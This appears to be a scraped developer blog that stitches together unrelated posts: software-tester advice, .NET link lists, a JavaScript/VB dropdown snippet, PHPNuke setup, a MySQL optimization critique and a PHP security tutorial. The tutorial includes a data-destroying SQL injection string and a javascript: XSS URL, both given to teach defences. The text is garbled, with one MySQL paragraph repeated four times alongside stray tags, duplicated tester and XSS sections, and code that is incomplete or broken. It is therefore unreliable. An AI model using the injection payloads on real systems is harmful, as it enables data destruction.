How to become a good Software Test Engineer?

A good Software Test Engineer has a ‘test to break’ attitude, an ability to take the point of view of the customer, a strong desire for quality, and an attention to detail. Tact and diplomacy are useful in maintaining a cooperative relationship with Developers, and an ability to communicate with both Technical (Developers) and Non-technical (Customers, Management) people is useful. Previous software development experience can be helpful as it provides a deeper understanding of the Software Development process, gives the Tester an appreciation for the Developers’ point of view, and reduce the learning curve in Automated Test Tool programming. Judgement skills are needed to assess high-risk or critical areas of an application on which to focus testing efforts when time is limited.

Reference Website for testing – http://www.qacampus.com

How to become a good Software Test Engineer?

A good Software Test Engineer has a ‘test to break’ attitude, an ability to take the point of view of the customer, a strong desire for quality, and an attention to detail. Tact and diplomacy are useful in maintaining a cooperative relationship with Developers, and an ability to communicate with both Technical (Developers) and Non-technical (Customers, Management) people is useful. Previous software development experience can be helpful as it provides a deeper understanding of the Software Development process, gives the Tester an appreciation for the Developers’ point of view, and reduce the learning curve in Automated Test Tool programming. Judgement skills are needed to assess high-risk or critical areas of an application on which to focus testing efforts when time is limited.

Here is the list of important website for .Net Developers/Programmers.
1). Microsoft Official Website, http://www.microsoft.com
2). ASP.NET Official Website, http://www.asp.net
3). Visual Studio Developer Center, http://msdn.microsoft.com
4). Scott Guthrie’s Blog,he build few products for Microsoft, http://weblogs.asp.net/scottgu
5). 4GuysFromRolla.com, http://www.aspnet.4guysfromrolla.com
6). .NET Programming – .Net Online Tutorial for Web Developer’s, http://dotnet-guide.com
7). Tutorials, news, sample code, user contributed code and web services directory. http://www.dotnetjunkies.com
8). http://aspalliance.com

Here below is the Source code websites. which can help u.
Some times the developers requires instant codes and they don’t have the time to write code, so the given list can help that programmers very well.
1). http://www.planet-source-code.com, alot of codes including Visual Basic, ASP, PHP, Javascript etc.
2). http://www.codeproject.com, Huge list of articles tutorials,codes etc
3). http://www.a1vbcode.com, as the name says A1
4). http://www.codebeach.com, List of codes, articles
5). http://www.codetoad.com, same as above
6). http://www.aspalliance.com. Gud site
7). http://www.123aspx.com, mainly concentrate on ASP products i.e. ASP and ASP.net
8). http://www.aspfree.com/, excellent website
9). http://www.c-sharpcorner.com, Codes,Tutorials in C Sharp
10). http://www.programmersresource.com, All type of programming resources
11). http://www.worldofasp.net/ Welcome to ASP.Net World!!!! Ya
12). http://www.programmersheaven.com, Source Codes Heaven/Jannat
13). http://www.codeguru.com, free source codes etc.

Filling dropdowns with ajax and java script without refreshment
create one .js file in your web project ,and write-down following code in file .
function company(PartyC,companyC,CompanyN,PartyC1)
{
var statecode = new Array();
statecode = PartyC.split(‘??’);
var Dcode = new Array();
Dcode = companyC.split(‘??’);
var DName = new Array();
DName = CompanyN.split(‘??’);
var statecode1 = new Array();
statecode1 = PartyC1.split(‘??’);

var i;
var ch = document.forms['form1']['CmbPartyName'].value;
if(ch!=0)
{
document.forms['form1']['CmBCompanyName'].length =0 ;
var opt = document.createElement(‘option’);
document.getElementById(‘CmBCompanyName’).options.add(opt);
opt.text = ‘Select Company Name’;
opt.value = ’1′ ;
for (i = 1; i < statecode1.length; i++)
{
if(statecode1[i] == ch )
{
var opt = document.createElement(‘option’);
document.getElementById(‘CmBCompanyName’).options.add(opt);

opt.text = DName[i] ;
opt.value = Dcode[i] ;
}
}

}
}

And in ur aspx file use following code …
Str = “select distinct P.PartyName, P.PartyCode ” & _
” from PartyMaster P,CompanyMaster C WHERE P.PartyCode = C.PartyCode ” &_

Dim DTP As New Data.DataTable
Dim DataAP As New SqlDataAdapter(Str, Con)
DataAP.Fill(DTP)
CmbPartyName.DataSource = DTP
CmbPartyName.DataValueField = “PartyCode”
CmbPartyName.DataTextField = “PartyName”
CmbPartyName.DataBind()

Dim Drow As Data.DataRow
For Each Drow In DTP.Rows
PartyC = PartyC & “??” & Drow(“PartyCode”)
Next
Str = ” Select C.CompanyCode, C.CompanyName ” & _
” from CompanyMaster C “& _

Dim DT1 As New Data.DataTable
Dim DataA1 As New SqlDataAdapter(Str, Con)
DataA1.Fill(DT1)
CmBCompanyName.DataSource = DT1
For Each Drow In DT1.Rows
PartyC1 = PartyC1 & “??” & Drow(“PartyCode”)
companyC = companyC & “??” & Drow(“CompanyCode”)
CompanyN = CompanyN & “??” & Drow(“CompanyName”)
AllowSaleOnForm = AllowSaleOnForm & “??” & Drow(“AllowSaleOnForm”)
DespatchTypeName = DespatchTypeName & “??” & Drow(“DespatchTypeName”)
Next
CmbPartyName.Attributes.Add(“onchange”, “company( ‘” & PartyC & “‘, ‘” & companyC & “‘,’” & CompanyN & “‘, ‘” & PartyC1 & “‘)”)
CmBCompanyName.Attributes.Add(“onchange”, “companychange( ‘” & CmBCompanyName.SelectedValue & “‘, ‘” & companyC & “‘,’” & CompanyN & “‘, ‘” & PartyC1 & “‘)”)


try this code its very powerful for filling dropdowns ……..



This is not a complete code ,i miss important couple of lines in this code ,if anybody wants to use this code in project i will give him/her remaning lines ……….

Below is the PHP code to retrieve the Width and Height of Browser window using PHP.
========== Code Starts =============
<?php
session_start();
?>
<script language=javascript>
function SetCookie(cookieName,cookieValue,nDays) {
alert(cookieName);
var today = new Date();
var expire = new Date();
if (nDays==null || nDays==0) nDays=1;
expire.setTime(today.getTime() + 3600000*24*nDays);
document.cookie = cookieName+”=”+escape(cookieValue)+ “;expires=”+expire.toGMTString();
}
</script>
<?php
$browser_size=”";
if(isset($_COOKIE["windsize"]))
{
$browser_size=$_COOKIE["windsize"];
}
else
{
echo”<script language=javascript>”;
echo “var wsize=screen.width+’X'+screen.height;”;
echo”SetCookie(‘windsize’,wsize,1);”;
echo”</script>”;
$browser_size=$_COOKIE["windsize"];
}
echo ” the browser size is”.$browser_size;
?>
========== Code Ends =============

PHPNuke is a powerful Open Source portal application. It can be used as a weblog or as a CMS. PhpNuke allows webmasters and editors to easily post new content and comment existing articles. PHP Nuke is written in PHP and requires a MySQL database.
Php-Nuke is one of the most popular tools for creating game clan websites. Php-Nuke has large supporting community and you can find lots of addon resources for your nuke software, like modules, integrations, themes, etc.

PHP-Nuke Modules, Blocks and Addons

There is no doubt that the most exciting feature of PHP-Nuke is its expanding capability through the use of modules, blocks and add-on components. We have chosen 3 major ‘upgrades’ for phpNuke and will try to show you how easy is to install them.

Gallery in PHP-Nuke
Forum component for PHP-Nuke
E-commerce module for PHP-Nuke
Also our Advanced Support Team can complete many modules, blocks and components installations for you. They can be purchased through the Exclusive Professional Services -> Adding a module to an application ticketing category

Installation of Gallery to your PHP-Nuke site
Title: Installation of Gallery to your PHP-Nuke site

There are several gallery modules that are available for PHPNuke. The Coppermine gallery is probably the most famous and easy-to-use one, However, since Coppermine Gallery and PHP-Nuke are now incorporated into one application called CPGnuke and are not available for integration anymore, we are going to install ‘Em’s eGallery’ which is available for download here.

To install the gallery, you should first download the archive file and extract it on your local computer. This will create 2 new directories: db/ and html/. The db/ directory contains the database update script we will need in order to install the database structure for the gallery and the html/ directory contains the files needed by phpNuke for the installation. Please, open your favorite FTP client, connect via FTP to your web hosting account and navigate to the directory where phpNuke is installed. Then upload all the files and directories found under the html/ directory in the Gallery extracted archive file.

Once you complete the upload, you should import the database tables that come with Em’s eGallery script. To do so, please open your CPanel and select the phpMyAdmin tool. Click on it and a new page will load. From the drop-down menu at the left-hand side, please select the PHP-Nuke database you have created and wait for the right-hand side of the screen to update. Then click on ‘SQL’ tab and paste inside the window the content of the ‘emsgallery.sql’ file. Click on the [Go] button. In this way you will import the gallery tables in the PHP-Nuke Database.

Once both the files are uploaded and the database is imported all you have to do is to configure your new gallery module. Please, go to your PHP-Nuke admin screen and click on the new icon for Em’s eGallery:

Scroll down a little and click on the ‘Gallery Settings’ link. From the ‘Gallery Settings’ page, please click on the [Edit Gallery Config] button. The only setting that you need to configure is ‘Server Upload Directory’ value.

It should be:

/home/user/public_html/modules/emsGallery/images

where “user” should be replaced by your actual CPanel username. You can change the other settings according to your personal preference. Save the configuration and you will have a nice and simple to use gallery integrated into PHPNuke.

This is My first article to this developers forum.This will sure help all new programmer who wants to work in Microsoft .Net Technology.
the tips are as following:
1). Select which type of application you want to develop i.e. you have to select Web applications or Desktop applications.
2). Learn one of the languages ( C# or VB.NET) .which you want to work like if you are comfortable with Visual Basic structure and syntax then go for VB.NET and if you like the OOPS concept and earlier worked with C language or C++ then C# will be the best option.
3). Select any good book and please stick with it. Read all the chapters in it. and again STICK TO IT.
4). Make some small applications.
5). Visit http:// http://www.asp.net regularly and other site like MSDN

Happy Dot Net Coding

1. The rule in any situation where you want to opimize some code is that you first profile it and then find the bottlenecks. Mr. Silverton, however, aims right for the tippy top of the trees. I’d say 60% of database optimization is properly understanding SQL and the basics of databases. You need to understand joins vs. subselects, column indices, how to normalize data, etc. The next 35% is understanding the performance characteristics of your database of choice. COUNT(*) in MySQL, for example, can either be almost-free or painfully slow depending on which storage engine you’re using. Other things to consider: under what conditions does your database invalidate caches, when does it sort on disk rather than in memory, when does it need to create temporary tables, etc. The final 5%, where few ever need venture, is where Mr. Silverton spends most of his time. Never once in my life have I used SQL_SMALL_RESULT.[/b]1. The rule in any situation where you want to opimize some code is that you first profile it and then find the bottlenecks. Mr. Silverton, however, aims right for the tippy top of the trees. I’d say 60% of database optimization is properly understanding SQL and the basics of databases. You need to understand joins vs. subselects, column indices, how to normalize data, etc. The next 35% is understanding the performance characteristics of your database of choice. COUNT(*) in MySQL, for example, can either be almost-free or painfully slow depending on which storage engine you’re using. Other things to consider: under what conditions does your database invalidate caches, when does it sort on disk rather than in memory, when does it need to create temporary tables, etc. The final 5%, where few ever need venture, is where Mr. Silverton spends most of his time. Never once in my life have I used SQL_SMALL_RESULT.[/b]1. The rule in any situation where you want to opimize some code is that you first profile it and then find the bottlenecks. Mr. Silverton, however, aims right for the tippy top of the trees. I’d say 60% of database optimization is properly understanding SQL and the basics of databases. You need to understand joins vs. subselects, column indices, how to normalize data, etc. The next 35% is understanding the performance characteristics of your database of choice. COUNT(*) in MySQL, for example, can either be almost-free or painfully slow depending on which storage engine you’re using. Other things to consider: under what conditions does your database invalidate caches, when does it sort on disk rather than in memory, when does it need to create temporary tables, etc. The final 5%, where few ever need venture, is where Mr. Silverton spends most of his time. Never once in my life have I used SQL_SMALL_RESULT.[/b]1. The rule in any situation where you want to opimize some code is that you first profile it and then find the bottlenecks. Mr. Silverton, however, aims right for the tippy top of the trees. I’d say 60% of database optimization is properly understanding SQL and the basics of databases. You need to understand joins vs. subselects, column indices, how to normalize data, etc. The next 35% is understanding the performance characteristics of your database of choice. COUNT(*) in MySQL, for example, can either be almost-free or painfully slow depending on which storage engine you’re using. Other things to consider: under what conditions does your database invalidate caches, when does it sort on disk rather than in memory, when does it need to create temporary tables, etc. The final 5%, where few ever need venture, is where Mr. Silverton spends most of his time. Never once in my life have I used SQL_SMALL_RESULT.

2. There are cases when Mr. Silverton does note a good problem. MySQL will indeed use a dynamic row format if it contains variable length fields like TEXT or BLOB, which, in this case, means sorting needs to be done on disk. The solution is not to eschew these datatypes, but rather to split off such fields into an associated table. The following schema represents this idea:

CREATE TABLE posts (
id int UNSIGNED NOT NULL AUTO_INCREMENT,
author_id int UNSIGNED NOT NULL,
created timestamp NOT NULL,
PRIMARY KEY(id)
);

CREATE TABLE posts_data (
post_id int UNSIGNED NOT NULL.
body text,
PRIMARY KEY(post_id)
);

3. Some of his suggestions are just mind-boggling, e.g., “remove unnecessary paratheses.” It really doesn’t matter whether you do SELECT * FROM posts WHERE (author_id = 5 AND published = 1) or SELECT * FROM posts WHERE author_id = 5 AND published = 1. None. Any decent DBMS is going to optimize these away. This level of detail is akin to wondering when writing a C program whether the post-increment or pre-increment operator is faster. Really, if that’s where you’re spending your energy, it’s a surprise you’ve written any code at all

My list
Let’s see if I fare any better. I’m going to start from the most general.

4. You’re going to need numbers if you want to make a good decision. What queries are the worst? Where are the bottlenecks? Under what circumstances am I generating bad queries? Benchmarking is will let you simulate high-stress situations and, with the aid of profiling tools, expose the cracks in your database configuration. Tools of the trade include supersmack, ab, and SysBench. These tools either hit your database directly (e.g., supersmack) or simulate web traffic (e.g., ab).

5. So, you’re able to generate high-stress situations, but now you need to find the cracks. This is what profiling is for. Profiling enables you to find the bottlenecks in your configuration, whether they be in memory, CPU, network, disk I/O, or, what is more likely, some combination of all of them.

The very first thing you should do is turn on the MySQL slow query log and install mtop. This will give you access to information about the absolute worst offenders. Have a ten-second query ruining your web application? These guys will show you the query right off.

6. Before you even start writing queries you have to design a schema. Remember that the memory requirements for a table are going to be around #entries * size of a row. Unless you expect every person on the planet to register 2.8 trillion times on your website you do not in fact need to make your user_id column a BIGINT. Likewise, if a text field will always be a fixed length (e.g., a US zipcode, which always has a canonical representation of the form “XXXXX-XXXX”) then a VARCHAR declaration just adds a superfluous byte for every row.

Some people poo-poo database normalization, saying it produces unecessarily complex schema. However, proper normalization results in a minimization of redundant data. Fundamentally that means a smaller overall footprint at the cost of performance — the usual performance/memory tradeoff found everywhere in computer science. The best approach, IMO, is to normalize first and denormalize where performance demands it. Your schema will be more logical and you won’t be optimizing prematurely.
After you’ve identified the slow queries you should learn about the MySQL internal tools, like EXPLAIN, SHOW STATUS, and SHOW PROCESSLIST. These will tell you what resources are being spent where, and what side effects your queries are having, e.g., whether your heinous triple-join subselect query is sorting in memory or on disk. Of course, you should also be using your usual array of command-line profiling tools like top, procinfo, vmstat, etc. to get more general system performance information.

7. Often you have a table in which only a few columns are accessed frequently. On a blog, for example, one might display entry titles in many places (e.g., a list of recent posts) but only ever display teasers or the full post bodies once on a given page. Horizontal vertical partitioning helps:

CREATE TABLE posts (
id int UNSIGNED NOT NULL AUTO_INCREMENT,
author_id int UNSIGNED NOT NULL,
title varchar(128),
created timestamp NOT NULL,
PRIMARY KEY(id)
);

CREATE TABLE posts_data (
post_id int UNSIGNED NOT NULL,
teaser text,
body text,
PRIMARY KEY(post_id)
);
The above represents a situation where one is optimizing for reading. Frequently accessed data is kept in one table while infrequently accessed data is kept in another. Since the data is now partitioned the infrequently access data takes up less memory. You can also optimize for writing: frequently changed data can be kept in one table, while infrequently changed data can be kept in another. This allows more efficient caching since MySQL no longer needs to expire the cache for data which probably hasn’t changed.

8. Artificial primary keys are nice because they can make the schema less volatile. If we stored geography information in the US based on zip code, say, and the zip code system suddenly changed we’d be in a bit of trouble. On the other hand, many times there are perfectly fine natural keys. One example would be a join table for many-to-many relationships. What not to do:

CREATE TABLE posts_tags (
relation_id int UNSIGNED NOT NULL AUTO_INCREMENT,
post_id int UNSIGNED NOT NULL,
tag_id int UNSIGNED NOT NULL,
PRIMARY KEY(relation_id),
UNIQUE INDEX(post_id, tag_id)
);
Not only is the artificial key entirely redundant given the column constraints, but the number of post-tag relations are now limited by the system-size of an integer. Instead one should do:

CREATE TABLE posts_tags (
post_id int UNSIGNED NOT NULL,
tag_id int UNSIGNED NOT NULL,
PRIMARY KEY(post_id, tag_id)
);

9. Often your choice of indices will make or break your database. For those who haven’t progressed this far in their database studies, an index is a sort of hash. If we issue the query SELECT * FROM users WHERE last_name = ‘Goldstein’ and last_name has no index then your DBMS must scan every row of the table and compare it to the string ‘Goldstein.’ An index is usually a B-tree (though there are other options) which speeds up this comparison considerably.

You should probably create indices for any field on which you are selecting, grouping, ordering, or joining. Obviously each index requires space proportional to the number of rows in your table, so too many indices winds up taking more memory. You also incur a performance hit on write operations, since every write now requires that the corresponding index be updated. There is a balance point which you can uncover by profiling your code. This varies from system to system and implementation to implementation.

10. C is the canonical procedural programming language and the greatest pitfall for a programmer looking to show off his database-fu is that he fails to realize that SQL is not procedural (nor is it functional or object-oriented, for that matter). Rather than thinking in terms of data and operations on data one must think of sets of data and relationships among those sets. This usually crops up with the improper use of a subquery:

SELECT a.id,
(SELECT MAX(created)
FROM posts
WHERE author_id = a.id)
AS latest_post
FROM authors a
Since this subquery is correlated, i.e., references a table in the outer query, one should convert the subquery to a join.

SELECT a.id, MAX(p.created) AS latest_post
FROM authors a
INNER JOIN posts p
ON (a.id = p.author_id)
GROUP BY a.id

11. MySQL has two primary storange engines: MyISAM and InnoDB. Each has its own performance characteristics and considerations. In the broadest sense MyISAM is good for read-heavy data and InnoDB is good for write-heavy data, though there are cases where the opposite is true. The biggest gotcha is how the two differ with respect to the COUNT function.

MyISAM keeps an internal cache of table meta-data like the number of rows. This means that, generally, COUNT(*) incurs no additional cost for a well-structured query. InnoDB, however, has no such cache. For a concrete example, let’s say we’re trying to paginate a query. If you have a query SELECT * FROM users LIMIT 5,10, let’s say, running SELECT COUNT(*) FROM users LIMIT 5,10 is essentially free with MyISAM but takes the same amount of time as the first query with InnoDB. MySQL has a SQL_CALC_FOUND_ROWS option which tells InnoDB to calculate the number of rows as it runs the query, which can then be retreived by executing SELECT FOUND_ROWS(). This is very MySQL-specific, but can be necessary in certain situations, particularly if you use InnoDB for its other features (e.g., row-level locking, stored procedures, etc.).

12 . MySQL provides many extentions to SQL which help performance in many common use scenarios. Among these are INSERT … SELECT, INSERT … ON DUPLICATE KEY UPDATE, and REPLACE.

I rarely hesitate to use the above since they are so convenient and provide real performance benefits in many situations. MySQL has other keywords which are more dangerous, however, and should be used sparingly. These include INSERT DELAYED, which tells MySQL that it is not important to insert the data immediately (say, e.g., in a logging situation). The problem with this is that under high load situations the insert might be delayed indefinitely, causing the insert queue to baloon. You can also give MySQL index hints about which indices to use. MySQL gets it right most of the time and when it doesn’t it is usually because of a bad scheme or poorly written query.

JSP(Java Server Pages) compared to ASP(Active Server Pages)

JSP and ASP Provides fairly similar functionality . JSP may have slightly higher learning curve. In JSP & ASP we
use embedded code in an HTML page,session variables and database access and manipulation. ASP is mostly found
on Microsoft platforms i.e.Windows NT,2000.
JSP can operate on any platform that conforms to the J2EE specification. JSP allow component reuse by using
Javabeans and EJBs. ASP provides the use of COM / ActiveX controls.

Java Server Pages(JSP) compared to ASP.NET

ASP.NET is based on the Microsoft .NET framework. The .NET framework allows applications to be developed
using different programming languages such as Visual C++,Visual Basic,C# and JavaScript & many more. JSP
and Java still has the advantage that it is supported on many different platforms and the Java community has many
years of experience in designing and developing Enterprise quality scalable applications. Basically ASP.NET is a
Advance Version of ASP.

1. Introduction
Writing PHP applications is pretty easy. Most people grasp the syntax rather quickly and will within short time be able to produce a script that works using tutorials, references, books, and help forum forums like the one we have here at PHP Freaks. The problem is that most people forget one of the most important aspects that one must consider when writing PHP applications. Many beginners forget the security aspect of PHP. Generally, your users are nice people, they will do as they are told and you will have no problem with these people whatsoever. However, some people are not quite as nice. Some people are outright malicious and are seeking to do damage on your website. They will scrutinize your application for security flaws and exploit these holes. Many times the beginner programmer did not know that these things would even be a problem and therefore it might be a problem to fix the holes. In this tutorial we will look at some of these issues so you can learn how to deal with them, and better yet, prevent them. Obviously I will not promise you that by following this tutorial you will never get successfully attacked. As you become bigger you will also become a bigger and therefore more interesting target – something we have experienced ourselves here at PHP Freaks.

On the next page we will look at how we should do our error reporting.

This tutorial is available for download as a PDF file here. That version can be read offline or printed.

2. Error reporting
Error reporting is a good thing, right? It gives you valuable insight into why your application failed. It gives you useful information such as what happened and where it happened. This information is essential in order to fix the bug. However, you might not be the only one who is interested in knowing why your application failed. By giving the user the details from the errors and/or exceptions thrown by PHP you are giving valuable insight into how your application works. Apart from the source itself, this is one of the most valuable intelligence the attacker might gather when looking for vulnerabilities in your application. Therefore, you should never output the error to the screen when your application is running in a production environment (the live setting in which your application runs when it is available for public use). In your development environment (e.g. on your local computer) it is perfectly fine to output the errors because there are nobody but you to see them and it is easier than having to check an error log when something fails unexpectedly.

So what should you do when you have launched your new killer app? Bugs might still appear and you need the before-mentioned information in order to fix them. What you can do, and should do, is write the errors into a log file. Actually, PHP does insert all errors into a log file on the server by default. However, if you are on shared hosting then you will most likely not have access to that file and it will therefore be necessary to write it into your own file. There are a couple of php.ini directives that are relevant to our problem:

display_errors this directive controls whether PHP errors should be sent to the screen. In a production environment this should always be turned off.
error_reporting this directive controls which errors that should be reported. You should set this to E_ALL and you should fix all issues that appear by doing this.
log_errors this controls whether errors should be logged to a file. I would recommend that you always turn this on.
error_log this is the path of the file errors should be written to. This is only applies if log_errors is turned on obviously.
Here is how I would recommend that you configure the before-mentioned four directives:

Table 2.1: Recommended Configuration
Directive name: Production: Development:
display_errors Off On
error_reporting E_ALL E_ALL
log_errors On On
error_log varies varies
How error_log should be configured obviously depends on how your directory structure is setup (more on that later in this tutorial).

2.1. Setting the directives
There are a number of different ways you can set the directives in order to achieve the most secure and efficient error handling as I talked about before. If you already know how to do that then you can skip this section.

First and foremost there is changing the values directly in php.ini. However, this is only possible if you are the administrator of the server so for many people this is not an option.

Apache has some configuration files called .htaccess where you can configure Apache directives for the particular folder (and sub-folders) the file is located in. Some hosts do not allow you to use this, but if you can then the PHP module has a directive called php_flag which allows you to set PHP directives. You simply do it like this:

php_flag directive_name directive_value
Note that you cannot use constants like E_ALL so you will have to use their numeric values. E_ALL’s value is currently 8191, but that might change in the future so you should check the new value if you update a major version. You can see the constants regarding error reporting at any time here.

So for our production environment you can do this:

php_flag display_errors off
php_flag error_reporting 8191
php_flag log_errors on
php_flag error_log /home/someone/logs/php_errors.log
A third option is to use to use PHP’s ini_set() function. That function takes two arguments: the name of the directive to set and its new value. You can use the constants here. There is a function called error_reporting() which you can use to set the error reporting instead.

3. SQL injections
One of the most common problems with security in web applications is SQL injection. To begin with I will present this comic for you:

The comic clearly illustrates the problems with SQL injection. If you do not get it, do not worry, you will in just a moment.

SQL injections work by injecting SQL into the queries you have already written in your script. Often you will pass some sort of variable data to your queries; this data might be influenced by user input. In the above comment we might imagine that the school had a query that looks something like this:

$sql = “INSERT INTO Students (name) VALUES (‘{$_POST['student_name']}’)”;
The above snippet works. As long as users input data that conforms to an expected format. Now, the mother in the comic did not provide expected data, rather she injected an entire additional query into the existing query. Let’s take a look at how the query looks when we enter the string given by the mother:

INSERT INTO students (name) VALUES (‘Robert’); DROP TABLE Students;–’)
(Note: PHP does not support stacking queries with all DBMSs. MySQL in particular)

As you probably know, a semi-colon ends a query and most times it is actually required, but PHP just adds it automatically if you omit it. Therefore, by closing the string and finishing the query by entering the closing parenthesis and a semi-colon we will be able to add an additional query that drops the student table. The two hyphens at the end make whatever comes after it a comment, so whatever remaining characters that might have been in the original query will simply be ignored.

It should not take too much brain power to figure out why this is a bad thing. Malicious users will basically be able to execute any kind of queries they would like to. This can be done for various purposes. It could be retrieving confidential information or destroying your data just to name a few.

3.1. Protecting your script from SQL injections
Fortunately, protecting yourself from SQL injections is rather easy. It is just a matter of calling a single function which make data safe for use in a query. How you should do this depends on which PHP extension you are using. Many people use the regular mysql extension, so let us start with that one. That particular extension has a function called mysql_real_escape_string(). Let us take a look at how that one works with a simple example that illustrates its usage:

<?php
$db = mysql_connect(‘localhost’, ‘username’, ‘password’);
mysql_select_db(‘school’, $db);

$studentName = mysql_real_escape_string($_POST['student_name'], $db);

$queryResult = mysql_query(“INSERT INTO Students (name) VALUE (‘{$studentName}’)”);

if ($queryResult) {
echo ‘Success.’;
}
else {
echo ‘Insertion failed. Please try again.’;
}
?>
As you see, doing it is incredibly easy yet many people fail to do this and only find out when it is too late. Other extensions support something called prepared statements. An example of a such extension is PDO (PHP Data Objects). Let us take a look at how that works:
<?php
$db = new PDO(‘mysql:host=localhost;dbname=school’, ‘username’, ‘password’);

$stmt = $db->prepare(‘INSERT INTO Students (name) VALUES (?)’);

try {
$stmt->execute(array($_POST['student_name']));
echo ‘Success.’;
}
catch(PDOException $e) {
echo ‘Insertion failed. Please try again.’;
}
?>
If you have many fields you need to use in your query then it might be a little difficult remembering the order of all these different question marks which act as place holders for the data. An alternate syntax is using named parameters. In our case it would look like this:
<?php
$db = new PDO(‘mysql:host=localhost;dbname=school’, ‘username’, ‘password’);

$stmt = $db->prepare(‘INSERT INTO Students (name) VALUES (:name)’);

try {
$stmt->execute(array(‘name’ => $_POST['student_name']));
echo ‘Success.’;
}
catch(PDOException $e) {
echo ‘Insertion failed. Please try again.’;
}
?>
Obviously, in our case this would not have any benefits, but as I said, if you have many parameters then you might find that more useful. There can be other reasons why using prepared statements would be useful, but I will leave that to research for yourself.

The mysqli (MySQL improved) extension has support for prepared statements as well, so if you are using that then check out its documentation to see the syntax.

The golden rule regarding this is that nothing is to be trusted and all data should be escaped.

Additionally, I mentioned earlier that users should not get information from error messages. Not only is it irrelevant, but it may also be information that may aid people with malicious purposes. You may sometimes be told that you should add or die(mysql_error()) to the end of your query calls to functions like mysql_query(). However, you should not do that. By doing that you are no longer using PHP’s error and exception handling functionality and you remove the opportunity to control whether errors should be displayed or not. In my opinion the best solution would be to use PHP’s exceptions. If you do not want to do that then at least do something like or trigger_error(‘Query failed: ‘. mysql_error()). By doing that you are utilizing PHP’s built-in functionality and you will be able to use the methods discussed under Error Reporting. Moreover, ending script execution with die() is simply bad practice. You will not be able to give the user a proper error page and you will not be able to do any cleaning up for the rest of the script.

4. Cross Site Scripting
Cross-Site Scripting, abbreviated XSS, is another common security issue. This issue is relevant whenever content that comes from the user will be redisplayed on the screen. It is essentially when Javascript is injected into the HTML source. We could for instance imaging a forum. On a forum users will be able to post messages that will be displayed for other users. We want the users to be able to format their messages and HTML is just perfect for that, right? There is just a minor problem… Not all users are equally nice. The same kind of people that might want to drop the school’s student table from the previous section might also want to do something here. Specifically what they might want to do is insert Javascript into the source. This might be for various purposes. It could be simply for annoying by creating an infinite loop of alert messages which would force the user to shutdown the browser or it could be redirecting the users to websites such as goatse or tubgirl (you might not want to check what it is if you do not already know). Other, more sofisticated attacks, could be writing a keylogger that logs and sends keystrokes (such as passwords) to an external website or the injected Javascript could be retrieving the users’ cookies (more on the latter later in this tutorial).

4.1. XSS Protection
As a matter of fact, this is rather easy to protect yourself from as well. PHP has a nifty function that is useful in this instance which is called htmlentities(). It will simply convert characters which have a meaning in HTML to their corresponding entities. For instance, HTML tags start with a lower-than sign and that particular character will be converted to &lt;. If you care about validation of your HTML (and you should!) then this will also help along with that.

We just have one problem. Our original example was a forum system and we wanted to give the users the opportunity to format their posts. However, the fix we just implemented removed this opportunity so we need to give them an alternate one. One with which we can control what they may do and not do. A common feature is called bbcodes. It has a syntax very similar to HTML and I am quite sure you are familiar with it if you have ever frequented any forum. Be aware though! You might get some additional XSS security holes with some tags.

A common bbcode tag is the URL tag. We could imagine that someone entered

The best PHP website
which would be converted to:

<a href=”http://www.phpfreaks.com”>The best PHP website</a>
. At first glance there is no issue with allowing that. However, URLs like javascript:alert(‘Hi’) are also allowed and they will, obviously, execute the entered Javascript. Similarly, in some lower versions of Internet Explorer (IE6 and below) that URL format is allowed and will execute Javascript so we have to take care of that as well.

For both the two before mentioned instances we might want to check that the protocol is one we would allow. It would be better to create a white-list of allowed protocols instead of creating a black-list of disallowed protocols. Simply select the protocols you want (e.g. http, https and ftp) and disallow all other.

Finally, this XSS cheatsheet might be useful to you. Both when learning about XSS as well as testing that your application is secure.

4. Cross Site Scripting
Cross-Site Scripting, abbreviated XSS, is another common security issue. This issue is relevant whenever content that comes from the user will be redisplayed on the screen. It is essentially when Javascript is injected into the HTML source. We could for instance imaging a forum. On a forum users will be able to post messages that will be displayed for other users. We want the users to be able to format their messages and HTML is just perfect for that, right? There is just a minor problem… Not all users are equally nice. The same kind of people that might want to drop the school’s student table from the previous section might also want to do something here. Specifically what they might want to do is insert Javascript into the source. This might be for various purposes. It could be simply for annoying by creating an infinite loop of alert messages which would force the user to shutdown the browser or it could be redirecting the users to websites such as goatse or tubgirl (you might not want to check what it is if you do not already know). Other, more sofisticated attacks, could be writing a keylogger that logs and sends keystrokes (such as passwords) to an external website or the injected Javascript could be retrieving the users’ cookies (more on the latter later in this tutorial).

4.1. XSS Protection
As a matter of fact, this is rather easy to protect yourself from as well. PHP has a nifty function that is useful in this instance which is called htmlentities(). It will simply convert characters which have a meaning in HTML to their corresponding entities. For instance, HTML tags start with a lower-than sign and that particular character will be converted to &lt;. If you care about validation of your HTML (and you should!) then this will also help along with that.

We just have one problem. Our original example was a forum system and we wanted to give the users the opportunity to format their posts. However, the fix we just implemented removed this opportunity so we need to give them an alternate one. One with which we can control what they may do and not do. A common feature is called bbcodes. It has a syntax very similar to HTML and I am quite sure you are familiar with it if you have ever frequented any forum. Be aware though! You might get some additional XSS security holes with some tags.

A common bbcode tag is the URL tag. We could imagine that someone entered

The best PHP website
which would be converted to:

<a href=”http://www.phpfreaks.com”>The best PHP website</a>
. At first glance there is no issue with allowing that. However, URLs like javascript:alert(‘Hi’) are also allowed and they will, obviously, execute the entered Javascript. Similarly, in some lower versions of Internet Explorer (IE6 and below) that URL format is allowed and will execute Javascript so we have to take care of that as well.

For both the two before mentioned instances we might want to check that the protocol is one we would allow. It would be better to create a white-list of allowed protocols instead of creating a black-list of disallowed protocols. Simply select the protocols you want (e.g. http, https and ftp) and disallow all other.

Finally, this XSS cheatsheet might be useful to you. Both when learning about XSS as well as testing that your application is secure.

5. Outside file access
Normally, pages ending with .php will be handled forwarded to PHP by Apache and therefore the code will be hidden from the users. That the source code is hidden is one of the things that characterizes server-side scripting languages such as PHP. However, the PHP module or Apache might fail and the code might be displayed in plain unparsed text to the user. This is definitely not good. First of all, if the source is visible then it is much easier to find security issues in your application. Additionally, some scripts contain configuration files within the document root (the directory in which all files and sub-folders are publicly accessible from the outside world) and those will obviously not be parsed either thus presented to the user if they enter the filename into the URL. Personally I have experienced this before where I was on a small website and suddenly a misconfiguration of some sort displayed the source code to me. The website used a widely used application and I happened to know where the configuration file was. Sure enough, I was able to view that as well and from that I gathered the root password for the server (bad security practice to use the same password for multiple purposes and it is also bad security practice to use the root MySQL user). Being a nice person I did not do anything with it, but other people might not be as nice as I am and if you have the root password for a server then you can essentially do anything with it.

